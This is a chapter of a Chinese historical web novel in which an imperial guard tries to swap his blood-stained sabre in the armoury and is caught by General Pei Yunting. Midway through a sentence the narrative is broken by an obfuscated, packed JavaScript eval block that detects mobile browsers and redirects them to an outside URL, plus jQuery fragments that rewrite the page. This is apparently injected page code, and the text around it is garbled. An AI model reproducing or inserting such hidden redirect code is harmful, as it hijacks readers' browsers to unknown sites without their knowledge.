裴云霆说的京兆尹要带药水来军营验刀的消息很快就传遍整个禁卫军大营。
“听说了吗?那药水神得很,只要沾过血,哪怕洗得再干净,往上一抹,立马现原形。”
“真的假的?那咱们平时杀鸡宰鸭弄到了算不算?”
“傻啊你,裴将军说了,那是尸体上的伤口是禁卫军独有的刀具造成的,就你那杀鸡的菜刀有什么可验的价值。”
“也对也对。”
“……”
此时,军营休息帐篷内,金云猛坐在角落的单人床上,一脸的心事。
“金哥,你怎么了?这天也不热啊,怎么出这么多汗?”旁边一个小兵凑过来,好奇地问了一句。
金云猛手一抖,手里拿着的水囊差点掉地上。
他猛地扭过头,恶狠狠地瞪着那个小兵,嗓门不自觉地拔高:“滚一边去!老子热不行啊?哪那么多废话!”
小兵被他吼得缩了缩脖子,嘟囔了一句“神经病”,便抱着被子滚到了另一头。
金云猛骂完人,心里那股子慌乱却没散去半分,反倒像是野草一样疯长。
裴云霆那话是什么意思?西域来的药水?这世上真有这么邪乎的东西?
那天晚上的事,做得并不算干净,那个倒霉鬼挣扎的时候,血溅得到处都是,虽然他第一时间处理了,可保不齐就有遗漏渗进了刀柄的缝隙里。
要是明天真被查出来……金云猛咽了口唾沫,喉结剧烈地滚动了一下。
不行,不能坐以待毙。
裴云言那个没用的东西,除了会在床上哼哼唧唧,真遇上事儿了跑得比谁都快,指望他还不如指望母猪上树。
这事儿要是漏了底,无论是桑家还是裴家肯定都会为了保全名声,第一时间把自己推出去顶罪。
到时候别说前程,这条命都得交代在菜市口。
金云猛左思右想终于相处一个完全的办法,那就是把自己的佩刀换了,换一把最近没见过血的刀,或者是别人的刀,那就算裴云霆拿一缸子药水来泼,也查不出什么。
可是换谁的怎么换是个问题,跟其他人换的可能性不太大,不过库房里还堆着一堆备用的废刀和没开刃的新刀,只要今晚能混进库房,随便摸一把出来,应该问题不大。
金云猛越想越觉得这法子可行。
……
入夜。
整个禁卫军大营陷入了沉睡,除了远处偶尔传来的几声更鼓,便只剩下风吹动旗帜的猎猎声。
裴云霆坐在中军大帐里,面前的桌案上摆着一盏灯,手里拿着一卷兵书。
“将军。”帐帘被人掀开,是白天那个和裴云霆说话的副将。。
裴云霆放下书,抬起头:“有动静了?”
副将点了点头,压低了声音:“嗯,那小子刚才趁着守夜兄弟换岗的空档,摸出去了。”
裴云霆嘴角勾起,一点都不意外:“去哪边了?”
“库房。”副将回答,“看来是想去换刀。”
裴云霆站起身,随手拿起挂在架子上的披风系在身上,动作慢条斯理,一点都不着急。
“脑子转得倒是快。”他整理了一下领口,大步往外走:“走吧,抓人。”
……
库房在营地的西北角,平时用来堆放一些备用的军械和杂物,守卫并不算森严。
金云猛贴着墙根溜了过去,他穿了一身黑色的夜行衣,脸上还蒙了一块黑布,他摸到库房门口,左右看了看,确定没人后,从怀里掏出一根细铁丝,借着月光捅进了锁眼。
只听“咔哒”一声轻响,锁应声而开,金云猛心里一喜,连忙推开门闪身钻了进去,反手又把门虚掩上。
库房里黑漆漆的,他不敢点火折子,只能借着从门缝里透进来的一点月光,摸索着往里走。
他记得备用的佩刀都堆在最里面的架子上,金云猛深一脚浅一脚地走着,终于走到最里面,金云猛心头狂跳,他迅速拔出自己腰间的佩刀,随手扔在一旁的草堆里,然后伸手去架子上摸索。
一定要找把新的,就在他的手刚握住一把刀柄,准备**看看成色的时候。
“啪!”
一声脆响,是火石撞击的声音,紧接着,一道刺眼的火光在他身后骤然亮起,瞬间驱散了库房里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097859|195675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的黑暗。
金云猛被这突如其来的光亮晃得眼睛生疼,整个人僵在了原地。
还没等他反应过来,周围又接二连三地亮起了十几只火把,将整个库房照得亮如白昼。
“什么人!”金云猛大吼一声,然后瞬间反应过来自己是偷来的,下意识的转身就要往外冲。
可他刚转过身,脚下的步子就硬生生地刹住了,只见库房门口,裴云霆一身黑金战袍,披风垂地,正抱着双臂,似笑非笑地看着他。
在他身后,两排全副武装的禁卫军手持火把,将门口堵得严严实实,金云猛脑子里“嗡”的一声,一片空白。
裴云霆看着眼前这个还蒙着脸、手里紧紧攥着刀的男人,往前迈了一步:“金云猛,大半夜的不睡觉,跑到这库房里来练刀法?”
金云猛握着刀的手心里全是汗,他知道自己现在的处境,硬拼肯定是死路一条,只能咬死不认。
他一把扯下脸上的黑布,挤出一个比哭还难看的笑容:“将……将军?您怎么在这儿?”
他装作一副惊讶的样子,把手里的刀往身后藏了藏,“我……我这不是看今晚月色好,睡不着,出来溜溜弯嘛,走着走着就迷路了,看见这门开着,以为进贼了,就进来看看。”
“哦?迷路了?”裴云霆挑了挑眉,“我记得你不是新兵啊,这军营走了不下百遍,还能迷路?”
他又看了一眼金云猛脚边的草堆,那里正躺着金云猛刚才扔掉的那把佩刀。
“佩刀怎么扔了?”
“这……这刀钝了!对,钝了!”金云猛眼珠子乱转,急中生智,“就想着来库房找块磨刀石磨一磨,明天操练的时候好用,结果黑灯瞎火的没拿稳,掉地上了。”
“操练?”裴云霆走到他面前,捡起金云猛原本的那把佩刀,在手里掂了掂:“是为了明天操练,还是要偷梁换柱啊?”
“我没有!”金云猛猛地直起腰,脖子上的青筋暴起,“这就是我的刀!我没想换!将军你不能因为我来库房转转就定我的罪!”
“我有说是定罪吗?”裴云霆反问道,金云猛瞬间意识到自己露怯了。